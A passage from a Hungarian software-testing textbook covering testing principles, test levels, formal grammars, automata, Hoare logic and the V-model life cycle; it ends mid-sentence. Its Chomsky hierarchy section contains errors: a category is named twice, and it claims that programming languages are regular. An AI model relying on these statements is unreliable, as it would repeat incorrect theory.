Download as pdf or txt
Download as pdf or txt
You are on page 1of 188

Szoftvertesztelés

Készítették:
Ficsor Lajos (4,5,7 fejezet)
Dr. Kovács László (1, 10 fejezet)
Krizsán Zoltán (8, 11 fejezet)
Dr. Kusper Gábor (1, 2, 3, 6, 9 fejezet)
Tartalomjegyzék

1 A tesztelés alapjai

2 Tesztelés a szoftver életciklusán át

3 Statikus technikák

4 Teszt tervezési technikák

5 Integrációs teszt

6 Biztonsági tesztelés

7 Tesztmenedzsment

8 Eszköztámogatás a tesztelésben

9 Hibakövető rendszerek

10 Adatbázisok tesztelése

11 Esettanulmány
1 A tesztelés alapfogalmai
Tesztelésre azért van szükség, hogy a szoftver termékben meglévő hibákat még az üzembe
helyezés előtt megtaláljuk, ezzel növeljük a termék minőségét, megbízhatóságát. Abban szinte
biztosak lehetünk, hogy a szoftverben van hiba, hiszen azt emberek fejlesztik és az emberek
hibáznak. Gondoljunk arra, hogy a legegyszerűbb programban, mondjuk egy szöveges menü
kezelésben, mennyi hibát kellett kijavítani, mielőtt működőképes lett. Tehát abban szinte biztosak
lehetünk, hogy tesztelés előtt van hiba, abban viszont nem lehetünk biztosak, hogy tesztelés után
nem marad hiba. A tesztelés után azt tudjuk elmondani, hogy a letesztelt részekben nincs hiba, így
nő a program megbízhatósága. Ez azt is mutatja, hogy a program azon funkcióit kell tesztelni,
amiket a felhasználók legtöbbször fognak használni.

1.1 A tesztelés alapelvei


A tesztelés alapjait a következő alapelvekben foglalhatjuk össze:

1. A tesztelés hibák jelenlétét jelzi: A tesztelés képes felfedni a hibákat, de azt nem, hogy
nincs hiba. Ugyanakkor a szoftver minőségét és megbízhatóságát növeli.

2. Nem lehetséges kimerítő teszt: Minden bemeneti kombinációt nem lehet letesztelni (csak
egy 10 hosszú karakterláncnak 256^10 lehetséges értéke van) és nem is érdemes.
Általában csak a magas kockázatú és magas prioritású részeket teszteljük.

3. Korai teszt: Érdemes a tesztelést az életciklus minél korábbi szakaszában elkezdeni, mert
minél hamar találunk meg egy hibát (mondjuk a specifikációban), annál olcsóbb javítani. Ez
azt is jelenti, hogy nemcsak programot, hanem dokumentumokat is lehet tesztelni.

4. Hibák csoportosulása: A tesztelésre csak véges időnk van, ezért a tesztelést azokra a
modulokra kell koncentrálni, ahol a hibák a legvalószínűbbek, illetve azokra a bemenetekre
kell tesztelnünk, amelyre valószínűleg hibás a szoftver (pl. szélsőértékek).

5. A féregirtó paradoxon: Ha az újratesztelés során (lásd később a regressziós tesztet) mindig


ugyanazokat a teszteseteket futtatjuk, akkor egy idő után ezek már nem találnak több hibát
(mintha a férgek alkalmazkodnának a teszthez). Ezért a tesztjeinket néha bővíteni kell.

6. A tesztelés függ a körülményektől: Másképp tesztelünk egy atomerőműnek szánt


programot és egy beadandót. Másképp tesztelünk, ha a tesztre 10 napunk vagy csak egy
éjszakánk van.

7. A hibátlan rendszer téveszméje: Hiába javítjuk ki a hibákat a szoftverben, azzal nem lesz
elégedett a megrendelő, ha nem felel meg az igényeinek. Azaz használhatatlan szoftvert
nem érdemes tesztelni.

1.2 Tesztelési technikák


A tesztelési technikákat csoportosíthatjuk a szerint, hogy a teszteseteket milyen információ
alapján állítjuk elő. E szerint létezik:

1-1
• Feketedobozos (black-box) vagy specifikáció alapú, amikor a specifikáció alapján készülnek
a tesztesetek.

• Fehérdobozos (white-box) vagy strukturális teszt, amikor a forráskód alapján készülnek a


tesztesetek.

Tehát beszélünk feketedobozos tesztelésről, amikor a tesztelő nem látja a forráskódot, de a


specifikációkat igen, fehérdobozos tesztelésről, amikor a forráskód rendelkezésre áll.

A feketedobozos tesztelést specifikáció alapúnak is nevezzük, mert a specifikáció alapján készül.


Ugyanakkor a teszt futtatásához szükség van a lefordított szoftverre. Leggyakoribb formája, hogy
egy adott bemenetre tudjuk, milyen kimenetet kellene adni a programnak. Lefuttatjuk a
programot a bemenetre és összehasonlítjuk a kapott kimenetet az elvárttal. Ezt alkalmazzák pl. az
ACM versenyeken is.

A fehérdobozos tesztelést strukturális tesztelésnek is nevezzük, mert mindig egy már kész
struktúrát, pl. program kódot, tesztelünk. A strukturális teszt esetén értelmezhető a (struktúra)
lefedettség. A lefedettség azt mutatja meg, hogy a struktúra hány százalékát tudjuk tesztelni a
meglévő tesztesetekkel. Általában ezeket a struktúrákat teszteljük:

• kódsorok,

• elágazások,

• metódusok,

• osztályok,

• funkciók,

• modulok.

Például a gyakran használt unit-teszt a metódusok struktúra tesztje.

1.3 A tesztelés szintjei


A tesztelés szintjei a következők:

• komponensteszt,

• integrációs teszt,

• rendszerteszt,

• átvételi teszt.

A komponensteszt csak a rendszer egy komponensét teszteli önmagában. Az integrációs teszt


kettő vagy több komponens együttműködési tesztje. A rendszerteszt az egész rendszert, tehát
minden komponenst együtt, teszteli. Ez első három teszt szintet együttesen fejlesztői tesztnek

1-2
hívjuk, mert ezeket a fejlesztő cég alkalmazottai vagy megbízottjai végzik. Az átvételi teszt során a
felhasználók a kész rendszert tesztelik. Ezek általában időrendben is így követik egymást.

A komponensteszt a rendszer önálló részeit teszteli általában a forráskód ismeretében (fehér


dobozos tesztelés). Gyakori fajtái:

• unit-teszt,

• modulteszt.

A unit-teszt, vagy más néven egységteszt, a metódusokat teszteli. Adott paraméterekre ismerjük a
metódus visszatérési értékét (vagy mellékhatását). A unit-teszt megvizsgálja, hogy a tényleges
visszatérési érték megegyezik-e az elvárttal. Ha igen, sikeres a teszt, egyébként sikertelen. Elvárás,
hogy magának a unit-tesztnek ne legyen mellékhatása.

A unit-tesztelést minden fejlett programozási környezet (integrated development environment,


IDE) támogatja, azaz egyszerű ilyen teszteket írni. A jelentőségüket az adja, hogy a futtatásukat is
támogatják, így egy változtatás után csak lefuttatjuk az összes unit-tesztet, ezzel biztosítjuk
magunkat, hogy a változás nem okozott hibát. Ezt nevezzük regressziós tesztnek.

A modulteszt általában a modul nem-funkcionális tulajdonságát teszteli, pl. sebességét, vagy, hogy
van-e memóriaszivárgás (memory lake), van-e szűk keresztmetszet (bottleneck).

Az integrációs teszt során a komponensek közti interfészeket, az operációs rendszer és a rendszer


közti interfészt, illetve más rendszerek felé nyújtott interfészeket tesztelik. Az integrációs teszt
legismertebb típusai:

• Komponens – komponens integrációs teszt: A komponensek közötti kölcsönhatások tesztje


a komponensteszt után.

• Rendszer – rendszer integrációs teszt: A rendszer és más rendszerek közötti


kölcsönhatásokat tesztje a rendszerteszt után.

Az integrációs teszt az összeillesztés során keletkező hibákat keresi. Mivel a részeket más-más
programozók, csapatok fejlesztették, ezért az elégtelen kommunikációból súlyos hibák
keletkezhetnek. Gyakori hiba, hogy az egyik programozó valamit feltételez (pl. a metódus csak
pozitív számokat kap a paraméterében), amiről a másik nem tud (és meghívja a metódust egy
negatív értékkel). Ezek a hibák kontraktus alapú tervezéssel (design by contract) elkerülhetőek.

Az integrációs teszteket érdemes minél hamarabb elvégezni, mert minél nagyobb az integráció
mértéke, annál nehezebb meghatározni, hogy a fellelt hiba (általában egy futási hiba) honnan
származik. Ellenkező esetben, azaz amikor már minden komponens kész és csak akkor tesztelünk,
akkor ezt a „nagy bumm tesztnek” (big bang tesztnek) nevezzük, ami rendkívül kockázatos.

A rendszerteszt a már kész szoftverterméket teszteli, hogy megfelel-e:

• a követelmény specifikációnak,

1-3
• a funkcionális specifikációnak,

• a rendszertervnek.

A rendszerteszt nagyon gyakran feketedobozos teszt. Gyakran nem is a fejlesztő cég, ahol esetleg
elfogultak a tesztelők, hanem egy független cég végzi. Ilyenkor a tesztelők és a fejlesztők közti
kapcsolat tartást egy hibabejelentő (bug trucking) rendszer látja el. A rendszerteszt feladata, hogy
ellenőrizze, hogy a specifikációknak megfelel-e a termék. Ha pl. a követelmény specifikáció azt írja,
hogy lehessen jelentést készíteni az éve forgalomról, akkor ezt a tesztelők kipróbálják, hogy lehet-
e, és hogy helyes-e a jelentés. Ha hibát találnak, azt felviszik a hibabejelentő rendszerbe.

Fontos, hogy a rendszerteszthez használt környezet a lehető legjobban hasonlítson a megrendelő


környezetére, hogy a környezet-specifikus hibákat is sikerüljön felderíteni.

Az átvételi teszt hasonlóan a rendszerteszthez az egész rendszert teszteli, de ezt már a


végfelhasználók végzik. Az átvételi teszt legismertebb fajtái a következők:

• alfa teszt,

• béta teszt,

• felhasználói átvételi teszt,

• üzemeltetői átvételi teszt.

Az alfa teszt a kész termék tesztje a fejlesztő cégnél, de nem a fejlesztő csapat által. Ennek része,
amikor egy kis segédprogram több millió véletlen egérkattintással ellenőrzi, hogy össze-vissza
kattintgatva sem lehet kifektetni a programot.

Ezután következik a béta teszt. A béta tesztet a végfelhasználók egy szűk csoportja végzi.
Játékoknál gyakori, hogy a kiadás előtt néhány fanatikus játékosnak elküldik a játékot, akik rövid
alatt sokat játszanak vele. Cserébe csak azt kérik, hogy a felfedezett hibákat jelentsék.

Ezután jön egy sokkal szélesebb béta teszt, amit felhasználói átvételi tesztnek nevezünk. Ekkor már
az összes, vagy majdnem az összes felhasználó, megkapja a szoftvert és az éles környezetben
használatba veszi. Azaz installálják és használják, de még nem a termelésben. Ennek a tesztnek a
célja, hogy a felhasználók meggyőződjenek, hogy a termék biztonságosan használható lesz majd
éles körülmények között is. Itt már elvárt, hogy a fő funkciók mind működjenek, de előfordulhat,
hogy az éles színhelyen előjön olyan környezet függő hiba, ami a teszt környezetben nem jött elő.
Lehet ez pl. egy funkció lassúsága.

Ezután már csak az üzemeltetői átvételi teszt van hátra. Ekkor a rendszergazdák ellenőrzik, hogy a
biztonsági funkciók, pl. a biztonsági mentés és a helyreállítás, helyesen működnek-e.

1.4 A tesztelési tevékenység


Ugyanakkor a tesztelés nem csak tesztek készítéséből és futtatásából áll. A leggyakoribb tesztelési
tevékenységek:

1-4
• tesztterv elkészítése,

• tesztesetek tervezése,

• felkészülés a végrehajtásra,

• tesztek végrehajtása,

• kilépési feltételek vizsgálata,

• eredmények értékelése,

• jelentéskészítés.

A tesztterv fontos dokumentum, amely leírja, hogy mit, milyen céllal, hogyan kell tesztelni. A
tesztterv általában a rendszerterv része, azon belül is a minőségbiztosítás (quality assurance, QA)
fejezethez tartozik. A teszt célja lehet:

• megtalálni a hibákat,

• növelni a megbízhatóságot,

• megelőzni a hibákat.

A fejlesztői tesztek célja általában minél több hiba megtalálása. Az átvételi teszt célja, hogy a
felhasználók bizalma nőjön a megbízhatóságban. A regressziós teszt célja, hogy megelőzni, hogy a
változások a rendszer többi részében hibákat okozzanak.

A tesztterv elkészítéséhez a célon túl tudni kell, hogy mit és hogyan kell tesztelni, mikor tekintjük a
tesztet sikeresnek. Ehhez ismernünk kell a következő fogalmakat:

• A teszt tárgya: A rendszer azon része, amelyet tesztelünk. ez lehet az egész rendszer is.

• Tesztbázis: Azon dokumentumok összessége, amelyek a teszt tárgyára vonatkozó


követelményeket tartalmazzák.

• Tesztadat: Olyan adat, amivel meghívjuk a teszt tárgyát. Általában ismert, hogy milyen
értéket kellene erre adnia a teszt tárgyának vagy milyen viselkedést kellene produkálnia. Ez
az elvárt visszatérési érték, illetve viselkedés. A valós visszatérési értéket, illetve viselkedést
hasonlítjuk össze az elvárttal.

• Kilépési feltétel: Minden tesztnél előre meghatározzuk, mikor tekintjük ezt a tesztet
lezárhatónak. Ezt nevezzük kilépési feltételnek. A kilépési feltétel általában az, hogy
minden tesztest sikeresen lefut, de lehet az is, hogy a kritikus részek tesztlefedettsége
100%.

A tesztterv leírja a teszt tárgyát, kigyűjti a tesztbázisból a teszt által lefedett követelményeket,
meghatározza a kilépési feltételt. A tesztadatokat általában csak a teszteset határozzák meg, de
gyakran a tesztesetek is részei a teszttervnek.
1-5
A tesztesetek leírják, hogy milyen tesztadattal kell meghajtani a teszt tárgyát. Illetve, hogy mi az
elvárt visszatérési érték vagy viselkedés. A tesztadatok meghatározásához általában úgynevezett
ekvivalencia-osztályokat állítunk fel. Egy ekvivalencia-osztály minden elemére a szoftver
ugyanazon része fut le. Természetesen más módszerek is léteznek, amikre később térünk ki.

A tesztesetek végrehajtásához teszt környezetre van szükségünk. A teszt környezet kialakításánál


törekedni kell, hogy a lehető legjobban hasonlítson az éles környezetre, amely a végfelhasználónál
működik. A felkészülés során írhatunk teszt szkripteket is, amik az automatizálást segítik.

A tesztek végrehajtása során teszt naplót vezetünk. Ebbe írjuk le, hogy milyen lépéseket hajtottunk
végre és milyen eredményeket kaptunk. A tesz napló alapján a tesztnek megismételhetőnek kell
lennie. Ha hibát találunk, akkor a hibabejelentőt a teszt napló alapján töltjük ki.

A tesztek után meg kell vizsgálni, hogy sikeresen teljesítettük-e a kilépési feltételt. Ehhez a
tesztesetben leírt elvárt eredményt hasonlítjuk össze a teszt naplóban lévő valós eredménnyel a
kilépési feltétel alapján. Ha kilépési feltételek teljesülnek, akkor mehetünk tovább. Ha nem, akkor
vagy a teszt tárgya, vagy a kilépési feltétel hibás. Ha kell, akkor módosítjuk a kilépési feltételt. Ha
teszt tárgya hibás, akkor a hibabejelentő rendszeren keresztül értesítjük a fejlesztőket. A teszteket
addig ismételjük, míg mindegyik kilépési feltétele igaz nem lesz.

A tesztek eredményei alapján további teszteket készíthetünk. Elhatározhatjuk, hogy a megtalált


hibákhoz hasonló hibákat felderítjük. Ezt általában a teszttervek elő is írják. Dönthetünk úgy, hogy
egy komponenst nem érdemes tovább tesztelni, de egy másikat tüzetesebben kell tesztelni. Ezek a
döntések a teszt irányításához tartoznak.

Végül jelentést kell készítenünk. Itt arra kell figyelnünk, hogy sok programozó kritikaként éli meg,
ha a kódjában a tesztelők hibát találnak. Úgy érzi, hogy rossz programozó és veszélyben van az
állása. Ezért a tesztelőket nem várt támadások érhetik. Ennek elkerülésére a jelentésben nem
szabad személyeskedni, nem muszáj látnia főnöknek, kinek a kódjában volt hiba. A hibákat rá lehet
fogni a rövid időre, a nagy nyomásra. Jó, ha kiemeljük a tesztelők és a fejlesztők közös célját, a
magas minőségű, hibamentes szoftver fejlesztését.

1.5 A programkód formális modellje


Számos tesztelési módszer a program forráskódjának elemzésén alapul. Ez az alpont a vonatkozó
legfontosabb alapismereteket foglalja össze.

A programozási nyelvek egyik fontos jellemzője a szigorú szerkezet, a viszonylag egyszerűbb


strukturáltság. Mindkét jellemző abból fakad, hogy olyan nyelvet lehet automatikus feldolgozásra,
értelmezésre kiválasztani, amely

• hatékonyan feldolgozható egy automatával;

• elegendő kifejező ereje van az algoritmusok leírására.

A programnyelvek egy mesterséges nyelvnek tekinthetők, melyek teljesítik a fenti feltételeket. A


programozási nyelvek elméleti hátterét a formális nyelvek területe fedi le.

1-6
1.5.1 A forráskód szintaktikai ellenőrzése
Az formális nyelvek mondatok szavakból, jelekből történő felépítését írják le. Formálisan a formális
nyelv egy párossal írható le, melyben adott az alapjelek halmaza és a képezhető, elfogadott
mondatok halmaza. A mondatok halmaza az összes képezhető véges jelsorozatok halmazának
részhalmazaként értelmezhető.

Σ: jelek halmaza

L ⊆ Σ* : nyelv

A nyelvek esetében egy nyelvtan írja le a jelhalmazból képzett és a nyelv által elfogadott mondatok
halmazát. A nyelvtan leírja a mondatok képzési szabályait. A szabályok alapvetően

A→B

alakúak, ahol a szimbólumok mondat egységeket jelölnek. A szimbólumok vonatkozásában


megkülönböztetünk

• atomi szimbólumokat (ezek a jelek, a Σ elemei)


• összetett szimbólumokat (nagyobb egységeket fog össze)

A nyelvtan formális alakja az alábbi kifejezéssel adható meg

G = (T, N, R, S)

ahol

• T : atomi, terminális szimbólumok halmaza

• N: összetett szimbólumok halmaza

• R: szabályok halmaza

• S: mondat szimbólum, mely az N eleme.

Az egyes nyelvtanok lényegesen különbözhetnek egymástól a szabályok összetettségét tekintve. A


formális nyelvek nyelvtanának legismertebb osztályozási rendszere a Chomsky kategorizálás. A
Chomsky hierarchia négy nyelvtan osztályt különböztet meg:

1-7
• reguláris nyelvek: a szabályok A → aB alakúak;

• környezet függő nyelvek: a szabályok A → X* alakúak;

• környezet függő nyelvek: a szabályok UAV → UX*V alakúak;

• általános nyelvek: nincs megkötés a szabályokra.

A kifejezésekben a kisbetűs elemek atomi szimbólumot, a nagybetűs elemek összetett


szimbólumokat jelölnek. Az X egy tetszőleges szimbólum.

A programozási nyelvek alapvetően a reguláris nyelvek osztályába tartoznak. Egy SQL DELETE
parancs esetében például az alábbi szabályokat kell alkalmazni, ahol a példában egy –egy szót is
atomi szimbólumnak tekintünk.

S = delete R

R = from Q

Q = ?tabla P

Q = ?tabla

P = where O

O = ?feltétel

A mintában a ? jel mögött egy újabb egység van, melyhez önálló saját értelmezési nyelvtan
tartozik.

A nyelvtan alapján egy bejövő mondathoz meghatározható, hogy illeszkedik-e a megadott


nyelvtanra vagy sem. A reguláris nyelvtanok esetében az ellenőrzés egyik lehetséges eszköze egy
FSA automata alkalmazása.

A véges automaták olyan rendszert jelentenek, mely tartalmaz

• állapot elemeket (az elemzés egyes fázisait szimbolizálják)

• állapot átmeneteket

• eseményeket

Az események az egyes állapot átmenetekhez köthetők. Az automata működési elve az alábbi


alapelemeken nyugszik:

1-8
• induláskor egy induló állapotban van a rendszer
• egy esemény bekövetkezésekor állapot átmenet valósul meg: az aktuális állapotból azon
átmeneten megy tovább, melyhez a bejövő esemény tartozik
• az automata egy végállapot elérésekor áll le

A szintaktika ellenőrzéskor a végállapot lehet egy elfogadó vagy egy elvető (hiba) állapot.

Az automaták a működés jellege szerint több csoportba kategorizálhatjuk, fő típusai:

• véges automata
• determinisztikus automata
• fuzzy automata
Az előzőekben ismertetett reguláris nyelvek megvalósíthatók véges automatákkal így az
értelmezés folyamata egy automatával végrehajtható. Az automata működési modellje egy
táblázattal foglalható össze, melyben az alábbi oszlopok szerepelnek:

• induló állapot
• esemény
• célállapot

Az esemény a forráskód elemzésénél a soron következő beolvasott jelet (szót) jelöli. A DELETE
parancs setében az alábbi táblázat alapján működhet az értelmező:

S delete R

S * Hiba!

R from Q

R * Hiba!

Q ?tábla P

Q * Hiba!

P # OK!

P where O

P * Hiba!

O ?feltétel OK!

O * Hiba!

1-9
A táblázatban * jel jelöli az egyéb eseményeket és # jel a mondat vége eseménynek felel meg.

1.5.2 Forráskód szemantikai ellenőrzése


A szintaktikai elemzés azt vizsgálja, hogy a kód, mint mondatok sorozata érvényes-e, megfelel-e a
nyelvtan szabályainak. A nyelvtanilag érvényes mondatsor azonban nem biztos, hogy az elvárt
tartalmú tevékenységet végzi el. Emiatt a szintaktikai helyesség nem garantálja a tartalmi,
szemantikai helyességet.

A szemantikai helyesség ellenőrzése sokkal összetettebb feladat, mint a szintaktika ellenőrzése,


hiszen nem áll rendelkezésre olyan szemantikai nyelvtan, amellyel össze lehetne vetni a leírt
kódot. A kód ugyan karaktersorozatnak fele meg a forrásállományban, de a tartalom
szempontjából más egységek strukturálható. A kód szokásos reprezentációs alakjai:

• szavak sorozata (szintaktikai ellenőrzéshez),


• utasítások hierarchiája,
• végrehajtási gráf.

A hierarchia reprezentáció arra utal, hogy a szavakból rendszerint egy nagyobb utasítás egység áll
össze, és az utasítások legtöbbször egymásba ágyazhatók. A fontosabb algoritmus szerkezeti
elemek:

• modul (rutin)

• szekvencia

• elágazás

• ciklus

A hierarchikus szerkezetet jelzi, hogy egy elágazás tartalmazhat

• szekvenciát,

• elágazást,

• ciklust.

Tehát a program algoritmusa strukturálisan rekurzív felépítésű. A algoritmus megadása mellet a


program másik fő egysége az adatstruktúra leírása. Az adatstruktúra esetében is ez hierarchikus
szerkezettel találkozhatunk. A főbb adattárolási egységek:

• skalár

• tömb

• halmaz
1-10
• rekord

• fa

Itt is igaz, hogy egyes egységek más adatelemeket magukba foglalhatnak.

A hierarchia reprezentáció a program statikus szerkezeté írja le, a program azonban egy
végrehajtási szerkezet ad meg. A program hagyományos végrehajtása során mindig van egy
kitüntetett utasítás, mely végrehajtás alatt áll. Ez az aktuális utasítás vándorol a program futása
alatt. Egy adott utasításból egy vagy több más utasításba kerülhet át a vezérlés.

A végrehajtási gráf formalizmusban az egyes utasításokat mint csomópontokat vesszük, és a


vezérlés átadásokat a gráf éleit szimbolizálják. A gráfban található egy jelölő elem, token, mely
mutatja az aktuális utasítás helyét. A program futása jól nyomon követhető a gráfban a token
mozgását követve. A gráf formalizmus tehát a program dinamikus jellegét mutatja.

A program helyességének biztosítása a szoftverfejlesztés egyik legfontosabb feladata. A tesztelés


folyamata, mely során ellenőrzésre kerül a program helyessége sokféleképpen értelmezhető. A
tesztelést végezhető szisztematikus próbálkozásokkal is, de ha nem sikerül minden lehetséges
esetet lefedni, akkor ez a módszer nem garantálhatja a program teljeskörű helyességét. Csak
olyam megoldás adhat biztonságot, amely bizonyíthatóan le tudja fedni a lehetséges eseteket.
Érezhető, ezen igényt csak egy matematikailag megalapozott módszer tudná biztosítani. Érdekes
kérdés, hogy van-e ilyen matematikai formalizmus és az vajon alkalmazható-e a gyakorlati méretű
feladatokban. A következő részben a tesztelés formális megközelítésének alapjait tekintjük át
röviden.

A formális tesztelés elméleti alapjait Hoare fektette le 1969-ben, bevezetve az axiomatikus


szemantika terület fogalmát, melynek célja a programok viselkedésének leírása és helyességük
bizonyítása.

Az axiomatikus szemantika alapvetően a matematikai logika eszközrendszerére épül és egyik


alapeleme a megkötés, assertion fogalma. Az assertion egy olyan állítás, predikátum, amelyet a
programnak valamely pontjában teljesítenie kell. A modell további lényeges elemei az
előfeltételek (precondition) és az végfeltételek (postcondition). A módszer tehát nem önmagában
vizsgálja a program helyességét, keretfeltételek mellett végzi az ellenőrzést. Felteszi, hogy indulás
előtt igaz a precondition és végén teljesülnie kell a postcondition megkötésnek. A program tehát
egy

{P} s {Q}

hármassal adott, ahol

P : precondition

s : source (forráskód)

Q: postcondition.

1-11
Természetesen a P és Q részek lehetnek mindig teljesülő kifejezések is. A Hoare formalizmus célja
a program részleges helyességének ellenőrzése, tehát annak bizonyítása, hogy ha P teljesül, akkor
az s végrehajtása után Q is teljesülni fog.

A módszer a matematikai logika eszközrendszerére alapozva P-ből kiindulva az s elemeinek


felhasználásával levezeti a Q helyességét. A levezetés logikában megszokott implikációs
szabályokra épít, melyeket

(p1,p2,p3,… ) → q

alakban lehet megadni és azt jelzi, hogy ha teljesülnek a p1,p2,p3 … logikai kifejezések, akkor a q
állítás is teljesül. A levezetési szabályok egy s program esetén az alábbi típusokat fedik le:

- hozzárendelés (assignment rule)


- szekvencia (sequence rule)
- ugrás (skip rule)
- feltételes elágazás (conditional rule)
- ciklus (loop rule)

Mivel a Q levezetése a P-ből több lépésen keresztül történhet csak, a bizonyítás egy levezetési
fával írható le.

Példaként a feltételes utasításhoz tartozó szabályt véve, az implikáció a következő alakot ölti:

({t ∧ P} s1 {Q}, {¬ t ∧ P} s2 {Q} ) → {P} if (t) s1 else s2 {Q}

A feldolgozás egy további eleme a feltételek erősítése vagy gyengítése. A precondition erősítése
formalizmusa:

( P ⊃ P’, {P’}s{Q}) →{P} s {Q}

Például ez alapján vezethető le az alábbi összefüggés:

( a > b ⊃ a = max(a,b), {a = max(a,b)} m = a{m = max(a,b)}) →

{a>b} m=a {m=max(a,b)}

A fenti példákból is jól látható, hogy a Hoare formalizmus a helyesség ellenőrzését igen absztrakt
szinten végzi és igen körülményes és költséges a levezetési fa felépítése. Emiatt a módszert
napjainkban még csak kisebb méretű feladatoknál alkalmazzák és a gyakorlati rendszerekben
döntően a heurisztikus módszerek dominálnak.

1-12
Tartalomjegyzék
1 A tesztelés alapfogalmai .......................... ................................................... ..............................1-1
1.1 A tesztelés alapelvei ............................. ................................................... ...........................1-1
1.2 Tesztelési technikák.............................. ................................................... ...........................1-1
1.3 A tesztelés szintjei .............................. ................................................... .............................1-2
1.4 A tesztelési tevékenység ............................................................................. .......................1-4
1.5 A programkód formális modellje .................... ................................................... ................1-6
1.5.1 A forráskód szintaktikai ellenőrzése ................................................................. ..........1-7
1.5.2 Forráskód szemantikai ellenőrzése .................................................................... .......1-10

1-13
2 A tesztelés helye a szoftver életciklusában
Ebben a fejezetben röviden áttekintjük a szoftver életciklusát és az ezt meghatározó
legfontosabb módszertanokat. Külön kiemeljük a tesztelés helyét az életciklusban és a
módszertanokban is.

2.1 A szoftverkrízis
A tesztelés szükségességét, mint annyi mást, a szoftverkrízis (software crisis) húzta alá. A
szoftverkrízis alatt azt értjük, hogy a szoftver projektek jelentős része sikertelen. Sikertelen a
következő értelemben:

• Vagy a tervezettnél drágábban készül el (over budget),

• Vagy a tervezetnél hosszabb idő alatt (over time),

• Vagy nem az igényeknek megfelelő,

• Vagy rossz minőségű / rossz hatásfokú / nehezen karbantartható,

• Vagy anyagi / környezeti / egészségügyi kárhoz vezet,

• Vagy átadásra sem kerül.

Ezek közül a tesztelés a minőségi problémákra ad választ, illetve a károkozás megelőzésében


segít. Tehát tesztelésre azért van szükség, hogy a szoftver termékben meglévő hibákat még
az üzembe helyezés előtt megtaláljuk, ezzel növeljük a termék minőségét, megbízhatóságát.
Abban szinte biztosak lehetünk, hogy a szoftverben van hiba, hiszen azt emberek fejlesztik és
az emberek hibáznak. Gondoljunk arra, hogy a legegyszerűbb programban, mondjuk egy
szöveges menü kezelésben, mennyi hibát kellett kijavítani, mielőtt működőképes lett. Tehát
abban szinte biztosak lehetünk, hogy tesztelés előtt van hiba, abban viszont nem lehetünk
biztosak, hogy tesztelés után nem marad hiba. A tesztelés után azt tudjuk elmondani, hogy a
letesztelt részekben nincs hiba, így nő a program megbízhatósága. Ez azt is mutatja, hogy a
program azon funkcióit kell tesztelni, amiket a felhasználók legtöbbször fognak használni.

2.2 A szoftver életciklusa


A szoftver életciklus (Software Development Life Cycle (SDLC)) a szoftverrel egy idős
fogalom. Ha átadunk egy szoftvert a felhasználóknak, akkor a felhasználók előbb vagy utóbb
újabb igényekkel állnak elő, ami a szoftver továbbfejlesztését teszi szükségessé. Tehát egy
szoftver soha sincs kész, ciklikusan meg-megújul. Ezt nevezzük életciklusnak.

Az életciklus lépéseit a módszertanok határozzák meg. Ezeket később fejtjük ki. Itt egy
általános életciklust tekintünk át.

A szoftverfejlesztés életciklusa (zárójelben a legfontosabb elkészítendő termékek):

2-1
• A felhasználókban új igény merül fel.

• Az igények, követelmények elemzése, meghatározása (követelmény specifikáció).

• Rendszerjavaslat kidolgozása (funkcionális specifikáció, szerződéskötés).

• Rendszerspecifikáció (megvalósíthatósági tanulmány, nagyvonalú rendszerterv).

• Logikai és fizikai tervezés (logikai- és fizikai rendszerterv).

• Implementáció (szoftver).

• Tesztelés (tesztterv, tesztesetek, teszt napló, validált szoftver).

• Rendszerátadás és bevezetés (felhasználói dokumentáció).

• Üzemeletetés és karbantartás (rendszeres mentés).

• A felhasználókban új igény merül fel.

. ábra Életciklus

Látható, hogy az első lépés és az utolsó ugyanaz. Ez biztosítja a ciklikusságot. Elvileg egy
hasznos szoftvernek végtelen az életciklusa. Gyakorlatilag a szoftver és futási környezete

2-2
elöregszik. Előbb-utóbb már nem lesz programozó, aki ismerné a programozási nyelvet, amin
íródott (ilyen probléma van manapság a COBOL programokkal), a futtató operációs
rendszerhez nincsenek frissítések, a meghibásodott hardver elemeket nem lehet pótolni. Az
ilyen IT rendszereket hívjuk „legacy system”-nek (kiöregedett, hagyaték rendszernek).
Valahol itt van vége az életciklusnak. Az életciklus egyes lépéseit részletesebben is kifejtjük.

2.3 Módszertanok
A módszertanok feladata, hogy meghatározzák, hogy a szoftver életciklus egyes lépései
milyen sorrendben követik egymást, milyen dokumentumokat, szoftver termékeket kell
előállítani és hogyan. Egy nagy szabálykönyvre emlékeztetnek, ami pontosan leírja, hogyan
kell szoftvert „főzni”. Ha betartjuk a receptet, akkor egy átlagos minőségű szoftvert kapunk,
de az átlagos minőség garantált.

A következőkben azokat a módszertanokat ismertetjük, amelyek különösen nagy hangsúlyt


fektetnek a tesztelésre.

2.4 V-modell
A V-modell (angolul: V-Model vagy Vee Model) a nevét onnan kapta, hogy két szára van és
így egy V betűhöz hasonlít. Az egyik szára megegyezik a vízesés modellel. Ez a fejlesztési szár.
A másik szára a létrejövő termékek tesztjeit tartalmazza. Ez a tesztelési szár. Az egy szinten
lévő fejlesztési és tesztelési lépések összetartoznak, azaz a tesztelési lépés a fejlesztési lépés
során létrejött dokumentumokat használja, vagy a létrejött terméket teszteli. Ennek
megfelelően az előírt fejlesztési és tesztelési lépések a következők:

2-3
A V-modell a vízesés modell kiegészítése teszteléssel. Ez azt jelenti, hogy először végre kell
hajtani a fejlesztés lépéseit, ezután jönnek a tesztelés lépései. Ha valamelyik teszt hibát talál,
akkor vissza kell menni a megfelelő fejlesztési lépésre.

A V-modell hasonlóan a vízesés modellhez nagyon merev, de alkalmazói kevésbé


ragaszkodnak ehhez a merevséghez, mint a vízesés modell alkalmazói. Ennek megfelelően
jobban elterjedt. Fő jellemzője a teszt központi szerepe.

Egy tipikus V-modell változatban először felmérjük az igényeket és elkészítjük a követelmény


specifikációt. Ezt üzleti elemzők végzik, akik a megrendelő és a fejlesztők fejével is képesek
gondolkozni. A követelmény specifikációban jól meghatározott átvételi kritériumokat
fogalmaznak meg, amik lehetnek funkcionális és nemfunkcionális igények is. Ez lesz majd az
alapja a felhasználói átvételi tesztnek (User Acceptance Test, UAT). Magát a követelmény
specifikációt is tesztelik. A felhasználók tüzetesen átnézik az üzleti elemzők segítségével,
hogy ténylegesen minden igényüket lefedi-e a dokumentum. Ez lényeges része a modellnek,
mert a folyamatban visszafelé haladni nem lehet, és ha rossz a követelmény specifikáció,
akkor nem az igényeknek megfelelő szoftver fog elkészülni. Ezzel szemben például a
prototípus modellben lehet pongyola az igényfelmérés, mert az a prototípusok során úgyis
pontosításra kerül.

Ezután következik a funkcionális specifikáció elkészítése, amely leírja, hogyan kell majd
